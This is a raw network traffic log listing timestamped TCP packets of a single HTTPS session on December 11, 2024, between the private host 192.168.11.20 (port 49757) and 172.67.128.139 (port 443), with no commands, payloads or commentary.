Dec 11, 2024 12:44:34.073163033 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.073163033 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.073191881 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.073204994 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.073290110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.073326111 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.074886084 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.074948072 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.075053930 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.075081110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.075081110 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.075097084 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.075158119 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.075184107 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.075264931 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.076879025 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.076914072 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.077002048 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.077076912 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.077076912 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.077105045 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.077117920 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.077163935 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.077224970 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.079031944 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.079056025 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.079324961 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.079351902 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.079519033 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.080538034 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.080679893 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.080715895 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.080715895 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.080817938 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.080842972 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.080987930 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.082554102 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.082575083 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.082798958 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.082798958 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.082926035 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.082951069 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.083106995 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.084516048 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.084542036 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.084670067 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.084670067 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.084701061 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.084701061 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.084716082 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.084863901 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.084954023 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.086937904 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.086968899 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.087186098 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.087254047 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.087280989 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.087294102 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.087450027 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.087512016 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.088816881 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.088848114 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.088996887 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.089076996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.089076996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.089102983 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.089262009 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.090696096 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.090727091 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.090990067 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.091007948 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.091141939 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.092716932 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.092745066 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.092879057 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.092902899 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.092957973 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.092967987 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.093004942 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.093113899 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.093667984 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.095083952 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.095110893 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.095259905 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.095259905 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.095283985 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.095357895 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.095357895 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.095455885 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.096971035 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.096997023 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.097210884 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.097210884 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.097254992 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.097264051 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.097306013 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.097306013 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.097470999 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.097855091 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.098002911 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.098083019 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.141967058 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.319212914 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.319222927 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.319403887 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.319430113 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.319580078 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.319595098 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.319745064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.319745064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.319745064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.320995092 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.321027994 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.321177006 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.321250916 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.321263075 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.321280003 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.321430922 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.323035002 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.323077917 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.323198080 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.323199034 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.323225021 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.323235035 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.323323965 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.323407888 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.324894905 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.324928045 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.325088024 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.325143099 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.325143099 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.325156927 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.325287104 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.327109098 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.327136040 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.327297926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.327297926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.327327013 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.327338934 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.327394009 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.327450037 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.327482939 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.329220057 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.329246044 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.329436064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.329436064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.329464912 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.329478979 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.329523087 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.329587936 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.329989910 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.331078053 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.331188917 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.331265926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.331265926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.331372976 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.331399918 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.331582069 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.332978964 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.333005905 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.333152056 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.333179951 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.333179951 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.333197117 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.333256006 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.333256006 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.333374023 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.334984064 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.335010052 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.335174084 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.335174084 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.335205078 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.335205078 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.335223913 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.335325003 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.335403919 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.336976051 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.337008953 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.337285042 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.337311029 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.337485075 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.339332104 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.339363098 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.339473009 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.339497089 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.339548111 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.339548111 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.339566946 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.339624882 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.339724064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.341286898 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.341319084 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.341450930 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.341450930 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.341511965 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.341511965 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.341527939 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.341597080 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.341775894 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.343199015 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.343226910 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.343383074 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.343449116 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.343449116 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.343463898 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.343738079 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.345114946 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.345140934 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.345272064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.345272064 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.345410109 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.345434904 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.345607996 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.347637892 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.347668886 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.347820044 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.347820044 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.347851038 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.347866058 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.347928047 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.347928047 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.348052979 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.349445105 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.349492073 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.349605083 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.349652052 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.349652052 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.349664927 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.349703074 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.349869013 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.350292921 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.350522041 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.371609926 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.376091957 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.569613934 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.569642067 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.569773912 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.569984913 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.570014954 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.570207119 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.571594954 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.571633101 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.571798086 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.571798086 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.571830034 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.571830034 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.571846008 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.571876049 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.572000027 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.573534012 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.573558092 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.573681116 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.573681116 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.573728085 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.573739052 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.573824883 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.573874950 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.575445890 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.575470924 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.575634003 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.575634003 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.575668097 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.575668097 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.575684071 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.575743914 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.575871944 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.577605009 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.577629089 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.577820063 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.577821016 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.577852964 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.577873945 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.577873945 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.577999115 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.579344988 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.579369068 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.579523087 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.579562902 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.579562902 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.579582930 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.579757929 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.580055952 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.580766916 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.581033945 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.581062078 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.582806110 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.582843065 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.582953930 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.582983017 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.582997084 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.582997084 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.582997084 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.583053112 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.583127975 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.584647894 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.584686041 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.584809065 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.584894896 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.584923029 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.584942102 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.584942102 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.586427927 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.586663961 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.586704969 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.586855888 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.586855888 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.586891890 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.586891890 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.586891890 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.586910009 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.586982012 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.588912964 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.588960886 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.589124918 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.589154005 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.589173079 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.589173079 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.589255095 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.590918064 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.590951920 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.591094017 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.591124058 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.591142893 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.591142893 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.591185093 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.591185093 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.592909098 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.592952013 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.593082905 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.593111992 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.593139887 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.593139887 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.593290091 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.595710993 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.595746994 CET	443	49757	172.67.128.139	192.168.11.20
Dec 11, 2024 12:44:34.595889091 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.595889091 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.595997095 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.595997095 CET	49757	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:44:34.596026897 CET	443	49757	172.67.128.139	192.168.11.20
